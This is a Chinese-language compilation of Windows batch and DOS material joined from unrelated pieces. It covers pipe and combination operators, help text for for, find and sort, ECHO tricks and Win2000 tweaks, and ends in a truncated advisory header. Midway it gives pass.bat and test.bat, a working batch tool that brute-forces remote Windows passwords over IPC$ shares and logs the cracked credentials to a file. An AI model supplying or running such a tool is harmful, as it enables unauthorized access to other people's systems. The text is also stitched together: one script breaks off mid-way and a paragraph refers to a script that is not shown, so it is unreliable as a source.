看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在例十三里,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令
more的输入。所以例十三和下面的例十四是等效的:
help > a.txt
more a.txt
del a.txt
这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。
结合例十三和例十四,以及前面的例九再体会一遍:|命令的作用,就是让前一命令的输出当做后一命令的输入。
12、>、>>
这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是,
>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十五:
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令>和
>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以 >和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和 >>的用法。
13、<、>&、<&
这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。
<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。
>&,将一个句柄的输出写入到另一个句柄的输入中。
<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。
关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。
下面介绍组合命令:&、&&、||
组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用,就如同给爱人陪不是,说一句是说,说十句也是说,不一次把好话都说了出来,效果可能会好些----当然得排除一种特殊情况:这些话是否有先后顺序,有些话是否可以同时说。在批处理脚本里也一样,有些时候某些命令是不能同时执行的,后面给你说。
刚刚又送走了一个同学,人去楼空的感觉越来越明显,望着空荡荡的床铺,平日里喧闹的宿舍就只剩下我一个人了,整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败!我感到快要呼吸不过来,这种失败的压力简直令我窒息,简直让我的手接收不到大脑的信号,简直让这篇未完成的教程夭折。但我能怪谁?
忙碌了一学期要过年了却挂了科,失败;挂了科也倒罢了,竟然一个人拖全班的后退,失败中的失败;更失败的,是在这最失落的时候,竟然找不到一个人可以倾诉;然而最失败的,是突然发现自己竟然如此脆弱,如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题:为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春,风一样的年龄,火一样不安的心。不再爱了,我不要再一个人的时候苦苦等待;不再爱了,我不要在你给的囚笼里怜悯的爱;不再爱了,我不要在别人的视线里如此可笑;不再爱,我不再爱。就算塌下来,我也要一个人扛着,头不能低腰不能弯,不能喘息不能倾诉,因为虽然失败,但还是男人,是男人就不能向困难低头!
14、&
这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六:
copy a.txt b.txt /y & del a.txt
其实这句和move a.txt
b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。
15、&&
切记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七:
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb
e:\backup\www
如果远程主机存在user.mdb,则copy到本地e:\backup\www,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的:
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb
e:\backup\www
至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。
你是否还记得"有些命令是不能同时执行的"?你是否相信这句话?当然得相信,不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,看例十八:
dir c:\ && dir d:\ > a.txt
仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令和
>命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:\和dir d:\ > a.txt,而并不是如你想的这两部分:dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写:
dir c:\ > a.txt && dir d:\ >> a.txt
这样,依据优先级高低,DOS将把这句话分成以下两部分:dir
c:\ > a.txt和dir d:\ >>
a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。
当然这里还可以利用&命令(自己想一下道理哦):
dir c:\ > a.txt & dir d:\ >> a.txt
16、||
这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九:
@echo off
dir s*.exe || exit
其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir
s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十:
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。
给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二:
例二十一:
@echo off
dir a.ttt /a & dir a.txt || exit
例二十二:
@echo off
dir a.ttt /a && dir a.txt || exit
警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告!
有关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解?呵呵,能理解就成天才了,除非你以前就已经掌握!千万别小看了这几个鬼命令,大棒槌是我的说,简直就不是人学的东西!但我还是静下心来研究了一番,最后得出的结论如上所述,已经一点不剩的交给你了,希望你好好收藏并消化吸收,当然有错误被你发现了,或者不完整的地方被你看出来了,请赶紧告诉我一声!
这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:"简明批处理教程",虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for
/? > a.txt & start
a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for
/?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了!
将下列代码存为bat文件
1、如果用字典破解:pass.bat 字典文件路径及名称 主机
用户名
2、如果用数字破解:pass.bat 起始数 步长 结束数 主机
用户名
密码破解出来之后,存放于c:\pass.txt文件里面。
将下列代码存为pass.bat文件
@echo off
echo
-------------------------------------------------------------------
>>c:\pass.txt
echo
-------------------------------------------------------------------
>>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解结果: >>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2
"%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call
test.bat %4 "%%i" %5
:quit
将下列代码存为test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果,net
use成功返回0,失败返回2
:answer0
echo 远程主机:"%1" >>c:\pass.txt
echo 用 户:"%3" >>c:\pass.txt
echo 密 码:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
For
对一组文件中的每个文件运行指定的命令。
可以在批处理程序中或直接从命令提示符使用 for
命令。
要在批处理程序中使用 for 命令,请使用以下语法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,请使用以下语法:
for %variable in (set) do command [command-parameters]
参数
%%variable 或 %variable
代表可替换的参数。for 命令使用在 set
中指定的每个文本字符串替换 %%variable(或
%variable),直到此命令(在 command-parameters
中指定)处理所有的文件为止。使用 %% variable
在批处理程序中执行 for 命令。使用 % variable
通过命令提示符执行 for 命令。变量名区分大小写。
(set)
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。
command
指定要在指定的 set 所包含的每个文件上执行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。
如果启用了命令扩展(Windows 2000
中的默认设置),将支持 for 命令的其他形式。
For 命令的其他形式
如果启用了命令扩展,将支持如下 for
命令的其他格式:
只限于目录
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和
?),则指定与目录名匹配,而不是文件名。
递归
for /R [[drive :]path] [%% | %]variable in (set) docommand
[command-parameters]
进入根目录树[drive:]path,在树的每个目录中执行 for
语句。如果在 /R
后没有指定目录,则假定为当前目录。如果 set
只是一个句号 (.) 字符,则只列举目录树。
迭代
for /L [%% | %]variable in (start,step,end) do command
[command-parameters]
集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5)
将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。
文件解析
for /F ["options"] [%% | %]variable in (filenameset) do command
[command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do
command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command
[command-parameters]
或者,如果出现 usebackq 选项:
for /F ["options"] [%% | %]variable in (filenameset) do command
[command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command
[command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand
[command-parameters]
filenameset 参数指定一个或多个文件名称。在继续到
filenameset
中的下一个文件之前,每个文件都会被打开、读取和处理。
过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值(或多个值)集合调用
for 循环体。默认情况下,/F
传递每个文件每一行的第一个空白分隔符号。
跳过空行。通过指定可选的"options"参数可以覆盖默认的解析行为。这是一个引用字符串,它包含一个或多个关键字以指定不同的解析选项。关键字是:
关键字 说明
eol=c 指定行尾注释字符(只一个字符)
skip=n 指定在文件的开头跳过的行数。
delims=xxx
指定定界符集合。这将替换空格和制表符的默认分隔符集。
tokens=x,y,m-n
指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n
格式是一个范围,指定从 mth 到 nth
的令牌。如果在令牌 =
字符串中最后一个字符是星号,则将分配附加的变量,并在解析最后一个令牌后在行上接收剩余的文本。
usebackq
指定将右引号字符串作为命令执行,单引号字符串是文字字符串命令,您可以使用双引号包括
filenameset 中的文件名。
变量替换
此外,已经增强了 for
变量引用的替换修改程序。现在可以使用下列可选的语法(对于任何变量
I):
变量(使用修改程序) 说明
%~I 展开删除了周围的任何引号 (") 的 %I
%~fI 将 %I 展开到完全合格的路径名
%~dI 只将 %I 展开到驱动器号
%~pI 只将 %I 展开到路径
%~nI 只将 %I 展开到文件名
%~xI 只将 %I 展开到文件扩展名
%~sI 展开路径以只包含短名称
%~aI 将 %I 展开到文件的文件属性
%~tI 将 %I 展开到文件的日期/时间
%~zI 将 %I 展开到文件大小
%~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I
展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名,或搜索后没有找到文件,则此修改程序将扩展为空字符串。
修改程序可以合并以获得复杂的结果:
变量(使用合并的修改程序) 说明
%~dpI 只将 %I 展开到驱动器号和路径
%~nxI 只将 %I 展开到文件名和扩展名
%~fsI 将 %I 展开到只包含短名称的完整路径名
%~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索
%I,并展开到第一个找到结果的驱动器号和路径
%~ftzaI 将 %I 扩展到与 dir 相似的输出行
注意
在上述范例中,%I 和 PATH
可被其他有效值替换。通过有效的 for 变量名终止 %~
语法。
使用大写变量名(例如
%I)可以使代码更具可读性,并且避免与不区分大小写的修改程序混淆。
Shift
更改批处理文件中可替换参数的位置。
shift
启用命令扩展(Windows 2000 中的默认设置)后,shift
命令支持 /n 开关,该开关通知命令在第 n
个参数处开始更改,n 可以是从 0 到 8
的任何一个值。例如,
SHIFT /2
将 %3 改为 %2,将 %4 改为 %3 等等,而 %0 和 %1
保持不变。
筛选器命令
筛选器命令可以帮助您排序、查看和选择部分命令输出结果。
通过筛选器命令传递信息
筛选器命令可以划分、重排以及提取通过的部分信息操作。Windows
2000 有三个筛选器命令:
more 命令每次显示一屏文件内容或命令输出。
find 命令在文件和命令输出中搜索指定字符。
sort 命令按字母顺序排列文件和命令输出。
要将输入从文件发送到筛选器命令,请使用小于符号
(<)。如果要筛选器命令从其他命令获得输入,请使用管道
(|)。
使用 more 命令来控制屏幕显示
more
命令每次一屏地显示文件的内容或命令输出。例如,下面的
more 命令每次显示一屏 List.txt 文件的内容:
more < list.txt
信息显示一屏后,会出现字"More"。要继续显示下一屏,请按键盘上任意键。要停止命令且不查看详细信息,请按
CTRL+C 键。
如果使用产生多屏输出的命令,more
将十分有用。例如,假设定要查看硬盘的目录树。如果
Windows 2000
不能将目录在一屏内全部显示出来,请使用带管道号
(|) 和 more 命令的 tree 命令,如下例所示:
tree c:\ | more
使用 find 命令搜索文本
find 命令在一个或多个文件中搜索指定文本。Windows 2000
显示每个包含该文本的行。find
命令可以用作筛选器命令或者标准的 Windows 2000
命令。有关将 find 用作标准的 Windows 2000
命令的信息,请单击“相关主题”列表中的 find。
要将 find 当作筛选器命令使用,请包含小于符号 (<)
和搜索的文件名。当输入文件名时,请记住搜索要区分大小写。例如,下面的命令查找文件
Trade.txt 中所有的“Pacific Rim”字符串:
find "Pacific Rim" < trade.txt
要保存 find
命令的输出而不是显示输出,请使用大于号 (>)
和要存储输出的文件名。例如,下面的命令查找文件
Trade.txt 中所有的“Pacific
Rim”字符串,并将结果保存在 Nwtrade.txt 文件中:
find "Pacific Rim" < trade.txt > nwtrade.txt
对文本文件排序
sort
命令按字母顺序排列文本文件或命令的输出。例如,可以使用以下命令对
List.txt 文件的内容进行排序,并在屏幕上显示结果:
sort < list.txt
在此范例中,sort 命令对 List.txt
文件的行进行排序并显示结果,但不更改文件。要保存
sort
命令的输出而不是显示输出,请在命令中包含大于号
(>) 和文件名。例如,可以使用以下命令对 List.txt
文件的行按字母顺序排序,并将结果存到 Alphlist.txt
文件中:
sort < list.txt > alphlist.txt
要排序命令的输出,请键入后面带有管道 (|) 和 sort
命令的命令。例如,下面的命令对 find
命令的输出结果进行排序:
find "Jones" maillst.txt | sort
在键入该命令时,Windows 2000
按字母顺序列出在其中出现“Jones”的行。
带重定向符的合并命令
可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如,可以使用以下命令存储包含“LOG”字符串的文件名:
dir /b | find "LOG" > loglist.txt
Windows 2000 通过 find 过滤器命令发送 dir
命令的输出并将包含字符串“Log”的文件名存储在
Loglist.txt
文件中。将结果存储为文件名列表(如,A.log、Logdat.svd
和 Mylog.bat)。
要在相同命令中使用多个筛选器,请使用管道 (|)
分隔筛选器。例如,下面的命令搜索 C
盘上的每个目录以查找包含“Log”字符串的文件名,并且每次显示一屏:
dir c:\ /s /b | find "LOG" | more
因为使用管道 (|),Windows 2000 通过 find 命令发送 dir
命令的输出结果。find
命令只选择包含字符串“Log”的文件名。more
命令每次一屏地显示 find 命令选择的文件名。
More
每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令,或者使用它控制其他命令的输出,例如
type 命令。当显示填充可用的查看区域时将出现 more
提示,用户可以输入许多命令来控制查看文件其余部分的方式。
command name | more [/c] [/p] [/s] [/tn] [+n]
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename
more [/c] [/p] [/s] [/tn] [+n] [files]
参数
[drive:][path] filename
指定要显示的文件。
command name
指定将显示其输出的命令。
/c
显示页面前清除屏幕。
/p
扩展换页符。
/s
将多个空白行更改为一个空白行。
/tn
将制表位更改为 n 个空格
+n
显示由 n 指定的行开始的第一个文件。
files
指定要显示的文件列表。用空格分隔文件名。
More 子命令
以下命令在 more 提示 (-- More --) 下接受。
关键字 操作
space 显示下一页。
ENTER 显示下一行。
F 显示下一个文件。
q 退出。
? 显示可用命令。
= 显示行号。
P n 显示以下 n 行。
S n 跳过下面 n 行。
Find
在一个文件或多个文件中搜索指定的文本字符串。
当搜索到指定的文件后,find
将显示出包含指定字符串的所有行。
find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]
参数
/v
显示未包含指定字符串的所有行。
/c
只显示包含指定字符串的行数。
/n
将文件行号置于每行开头。
/I
指定搜索不区分大小写。
"string"
指定要搜索的字符组。必须将 string
的文本包括在引号中。
[drive:][path] filename
指定要在其中搜索指定字符串的文件的位置和名称。
Sort
读取输入、排序数据并将结果写到屏幕、文件和其他设备上。
sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters]
[[drive1:][path1]filename1] [/t [drive2:][path2]] [/o
[drive3:][path3]filename3]
[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec
characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o
[drive3:][path3]filename3]
参数
/r
颠倒排序顺序,即从 Z 到 A 排序,然后从 9 到 0
排序。
/+n
指定字符位置号 n,sort
在此处开始每次比较。例如,/+3
表示每次比较在每行的第三个字符开始。少于 n
个字符的行在其他行之前排序。默认情况下,比较在每行的第一个字符开始。
/m kilobytes
指定用于排序的主内存数量,按千字节 (KB)
计。使用的内存最小值总是 160
KB。如果指定了内存大小,则无论有多少主内存可用,指定的确切数量(但至少
160 KB)的内存将用于排序。
如果输入输出均为文件,在没有指定大小时,默认最大内存大小为可用主内存的
90%,否则为主内存的
45%。默认设置通常会产生最佳的性能。
/l local
替代由系统默认区域设置定义的字符排序顺序;即在安装
Windows 2000
时选择的语言和“国家(地区)”。目前,默认区域设置唯一的备用选项就是“C”区域设置,该区域设置比自然语言排序快,根据二进制编码对字符排序。
/rec characters
指定记录或输入文件的行中的最多字符数(默认值为
4096,最大值为 65535)。
[drive1:][path1]filename1
指定要排序的文件。如果没有指定文件名,则对标准输入排序。指定输入文件比将同一文件作为标准输入重定向速度快。
/t [drive2:][path2]
指定保留 sort
命令工作存储的目录路径,防止数据不能装入主内存。默认为使用系统临时目录。
/o [drive3:][path3]filename3
指定要存储排序后的输入的文件。如果没有指定,数据将写入标准输出。指定输出文件比将同一文件作为标准输出重定向速度快!
是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,
> >的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个 a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍.....
1.
作为控制批处理命令在执行时是否显示命令行自身的开关
格式:ECHO [ON|OFF]
如果想关闭"ECHO
OFF"命令行自身的显示,则需要在该命令行前加上"@"。
2. 显示当前ECHO设置状态
格式:ECHO
3. 输出提示信息
格式:ECHO信息内容
上述是ECHO命令常见的三种用法,也是大家熟悉和会用的,但作为DOS命令淘金者你还应该知道下面的技巧:
4. 关闭DOS命令提示符
在DOS提示符状态下键入ECHO
OFF,能够关闭DOS提示符的显示使屏幕只留下光标,直至键入ECHO
ON,提示符才会重新出现。
5. 输出空行,即相当于输入一个回车
格式:ECHO.
值得注意的是命令行中的"."要紧跟在ECHO后面中间不能有空格,否则"."将被当作提示信息输出到屏幕。另外"."可以用,:;"/[\]+等任一符号替代。
在下面的例子中ECHO.输出的回车,经DOS管道转向作为TIME命令的输入,即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态:
C:>ECHO.|TIME
ECHO命令输出空行的另一个应用实例是:将ECHO.加在自动批处理文件中,使原本在屏幕下方显示的提示画面,出现在屏幕上方。
6. 答复命令中的提问
格式:ECHO答复语|命令文件名
上述格式可以用于简化一些需要人机对话的命令(如:CHKDSK/F;FORMAT
Drive:;del
*.*)的操作,它是通过DOS管道命令把ECHO命令输出的预置答复语作为人机对话命令的输入。下面的例子就相当于在调用的命令出现人机对话时输入"Y"回车:
C:>ECHO Y|CHKDSK/F
C:>ECHO Y|DEL A :*.*
7. 建立新文件或增加文件内容
格式:ECHO 文件内容>文件名
ECHO 文件内容>>文件名
例如:C:>ECHO @ECHO OFF>AUTOEXEC.BAT建立自动批处理文件
C:>ECHO
C:\CPAV\BOOTSAFE>>AUTOEXEC.BAT向自动批处理文件中追加内容
C:TYPE AUTOEXEC.BAT显示该自动批处理文件
@ECHO OFF
C:\CPAV\BOOTSAFE
8. 向打印机输出打印内容或打印控制码
格式:ECHO 打印机控制码>PRN
ECHO 打印内容>PRN
下面的例子是向M-1724打印机输入打印控制码。<Alt>156是按住Alt键在小键盘键入156,类似情况依此类推:
C:>ECHO <Alt>+156<Alt>+42<Alt>+116>PRN(输入下划线命令FS*t)
C:>ECHO <Alt>+155@>PRN(输入初始化命令ESC@)
C:>ECHO.>PRN(换行)
9. 使喇叭鸣响
C:>ECHO ^G
"^G"是用Ctrl+G或Alt+007输入,输入多个^G可以产生多声鸣响。使用方法是直接将其加入批处理文件中或做成批处理文件调用。
10.执行ESC控制序列修改屏幕和键盘设置
我们知道DOS的设备驱动程序ANSI.SYS提供了一套用来修改屏幕和键盘设置的ESC控制序列。如执行下述内容的批处理程序可以把功能键F12定义为DOS命令"DIR/W",并把屏幕颜色修改为白色字符蓝色背景。
@ECHO"←[0;134;"DIR/W";13p
@ECHO"←[1;37;44m
(注:批处理文件中"←"字符的输入方法是在编辑状态下按Alt中小键盘上的27)
DOS命令是接触计算机的人首先要学到的,对许多人来说是太熟悉太简单了,其实不然,在这些命令中蕴藏着丰富的内容,仍有待于我们进一步去理解去开发,如果你是一个有心人就一定会从这些自以为熟知的命令中发现新的闪光点,淘得真金。
随着系统的更新WIN2000/XP的使用者越来越多,但是其中却很少有人能够仔细的研究它的一些功能,只不过把它当作安装软件与游戏的基础罢了。其实
2000中还有我们很多所不知道的功能,如果能够学会这些技巧,对我们办公或者学习会带来更大的方便,望此文能起到抛砖引玉的效果,让更多的人认识到
WINDOWS还有很多美妙之处。
关掉信使服务
不知道大家是否在上网的时候,有过突然弹出来窗口的经历呢?有人说这是黑客入侵了自己的电脑,其实不然,他只是用某种程序使用了2000/xp
下的信使服务,我们怎么防范这种讨厌的广告呢?首先找到控制面板—管理工具,进入后双击服务,这时就启动了(本地)服务的这个窗口了。右边就是所有的服务了,好了我们在右边的窗体上找到Messenger
双击这个服务,启动类型是自动,现在我们把它的启动类型改为禁用,然后点击停止,这样以后就不会有讨厌的弹出广告信息来骚扰你了。
关闭盘符的默认共享设置
2000在安装后,默认共享是开着的,什么叫做默认共享?我们来说明一下,双击我的电脑,找到C盘,然后点击右键选择共享,大家有没有看到共享名C$这个呢?那么这个有人会说了,“没有关系吧。”呵呵,关系大了,如果你在INTERNET上面别人可以用\\计算机名称(或者IP地址)\C$就可以看到你C盘下的所有文件,怎么样感到可怕了吧。同样其他盘也有这种现象,我们关掉它吧,可是从这里关掉下次启动计算机后它还会自动恢复。那怎么办呢?找到我们刚才介绍的本地服务,在右窗体里面找到Server然后点击停止,把启动类型改为禁用。这样下次启动的时候就不会自动默认共享了。
通过组策略禁用Ctrl + Alt + Del进行登陆
安装了2000
Server版本以上的朋友在登陆的时候是否厌倦了每次都要按Ctrl
+ Alt + Del呢?那我们就关掉它,Let’s go
我们找到控制面板—本地安全设置,在左边的窗体里面找到本地策略—安全选项,双击右边的“禁用按Ctrl
+ Alt +
Del进行登陆的设置。”然后把它选为以启用,这样以后就不用再按键登陆了。
通过修改注册表来实现自动登陆
打开运行输入Regedit找到以下键值
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon
按照如下设置:
把AutoAdminLogon键值改为1
在DefaultDomainName 处填入你的计算机域的名称
在DefaultPassword填入你的密码
在DefaultUserName填入你的登陆用户名(比如Administrator)
通过注册表编辑器增加普通用户应用程序的权限
是否在用其他用户登陆2000的时候发现很多软件都说没有权限运行呢?而用管理员身份登陆的时候,这些程序却可以用呢?其实只是这些程序没有管理员运行的权限罢了,通过简单的设置就可以让这些程序运行,首先以管理员权限进入系统,点击开始菜单—运行,输入Regedt32在调出注册表编辑器后,
找到“本地机器上的HKEY_LOCAL_MACHINE”窗体,然后点击SOFTWARE找到你想普通用户可以运行的程序,在命令栏上点击安全选择权限,这时在弹出的窗体上面选择添加,选择你用的用户名称确定,在权限里面选择是否完全赋予权限—确认、退出。这样你的程序就可以用普通用户身份登陆来运行了。
让驱动程序签名永远的消失
大家是否在安全驱动的时候会弹出驱动程序签名呢?这对于我们这些DIYer来说实在是很麻烦,其实想要不让它出现很简单,在桌面上面右键点击我的电脑—属性。在系统特性里面单击硬件选项卡,看到中间那一行没有!“设备管理器”—签署驱动程序。在弹出的选项卡中选择忽略。Ok大功告成,这样以后它就不会再出现了。
让去掉的硬件驱动或者硬件永远的消失
众所周知2000下的即插即用,支持了很多的硬件,但是当我们拔下如这些即插即用的设备后,它的驱动是否已经删除了呢?怎样才能彻底的删除呢?好的,我们来彻底的删除这些设备吧。首先进入控制面板—“添加删除硬件”,点击下一步“卸载/拔掉设备”
点击下一步,在接下来的选项里面选择“卸载设备”OK!这样我们就选择你所要卸载的设备吧(把显示隐藏设备选项也选上)。选择好后单击下一步,系统询问
“确实想卸载此设备?”选择“是”。点击下一步后完成。好了这样这个设备就完全的从你的计算机里面被删除了。
Win2000下的二次登陆
为了增加安全性,往往管理员不会用最高权限登陆,但是如果遇到一些非要管理员权限的操作就很麻烦了,这样就要注销后然后再用管理员权限登陆,这样不仅影响效率,还带来了很多负面的影响,那怎样方便简单的用管理员的权限呢。呵呵!其实有个很简单的方法,就是在管理工具里面用右键点击你想要运行的程序,然后选择“运行为”这时会弹出一个窗口,在里面的用户名、密码、域中输入你管理员的用户名、密码、域然后确定,好了,这个时候你就是管理员的权限来运行这个程序了。怎么样是不是省掉你好多的麻烦,让你感觉原来这么简单?
通过磁盘管理来修改错乱的盘符
安装过虚拟光驱软件的朋友应该碰到过磁盘盘符和光驱盘符发生混乱或者多光驱盘符混乱的现象吧?通常只有重新安装系统,其实不必。打开控制面板—
计算机管理—存储—磁盘管理,右键单击你想要改变盘符的驱动器,比如你想把F(假设F为CD-ROM)该为G,选择更改驱动器名或路径,选择编辑。把指派驱动器号后面的F换成G.确定—重起。好了这样F就变为G了,这样以后就不用再辛苦的安装系统了。
删掉不需要的组件
熟悉98系统的朋友应该知道98下的添加删除程序可以自己选择并且安装,而Win2000的添加/删除程序下的一些组件是Win2000自作主张安装上的这未免有些霸道,能不能像98一样自己选择这些组件呢?答案是可以的,详细步骤如下:
首先去掉文件夹选项中的文件隐藏(资源管理器—工具—文件夹选项),显示所有隐藏文件。然后找到在Winnt目录打开Inf文件夹,找到
sysoc.ini文件(记住要备份),用记事本打开,打开编辑—替换,在“查找内容”中填入“,hide”(逗号后是单词hide),“替换为”中不要填,然后选择全部替换,保存后退出。打开控制面板—添加/删除程序—添加/删除Windows组件,你就会发现里面的内容增加了好多项,剩下的操作跟98
下的操作一样!尽情的添加/删除吧!
受影响系统:
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows XP
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000SP4
Microsoft Windows 2000SP3
Microsoft Windows 2000SP2
Microsoft Windows 2000SP1
Microsoft Windows 2000
Microsoft Windows
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 14743
Microsoft Windows是微软发布的非常流行的操作系统。
Microsoft
